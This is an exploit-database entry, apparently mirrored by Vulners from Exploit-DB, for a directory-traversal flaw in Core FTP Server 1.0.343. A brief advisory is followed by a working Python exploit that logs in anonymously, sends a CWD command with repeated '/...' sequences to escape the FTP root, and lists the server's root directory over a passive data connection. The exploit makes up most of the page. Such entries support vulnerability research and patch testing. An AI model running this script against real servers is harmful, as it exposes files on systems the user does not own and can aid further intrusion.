Lucene search
K

Core FTP Server 1.0.343 - Directory Traversal

🗓️ 28 May 2010 00:00:00Reported by John LeitchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

Core FTP Server 1.0.343 directory traversal vulnerabilit

Code
source: https://www.securityfocus.com/bid/40422/info

Core FTP Server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

Core FTP Server 1.0.343 is vulnerable; other versions may also be affected. 

import sys, socket, re

host = 'localhost'
port = 21
user = 'anonymous'
password = 'a'

buffer_size = 8192
timeout = 8

def recv(s):
    resp = ''

    while 1:
        r = s.recv(buffer_size)
        if not r: break
        resp += r

    return resp

def list_root():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.settimeout(timeout)

        print s.recv(buffer_size)            

        s.send('USER ' + user + '\r\n')                   
        print s.recv(buffer_size)            

        s.send('PASS ' + password + '\r\n')               
        print s.recv(buffer_size) + s.recv(buffer_size)

        s.send('CWD ' + '/...' * 16 + '\r\n')

        resp = s.recv(buffer_size)

        print resp
        
        if resp[:3] == '250':
            s.send('PASV\r\n')                                   
            resp =  s.recv(buffer_size)

            print resp
            
            pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)

            if (pasv_info == None):
                print 'Invalid PASV response: ' + resp
                return            

            s.send('LIST\r\n')            

            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))
            s2.settimeout(timeout)           

            print recv(s2)

        s.close()

    except Exception:        
        print sys.exc_info()

list_root()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 May 2010 00:00Current
7.4High risk
Vulners AI Score7.4
24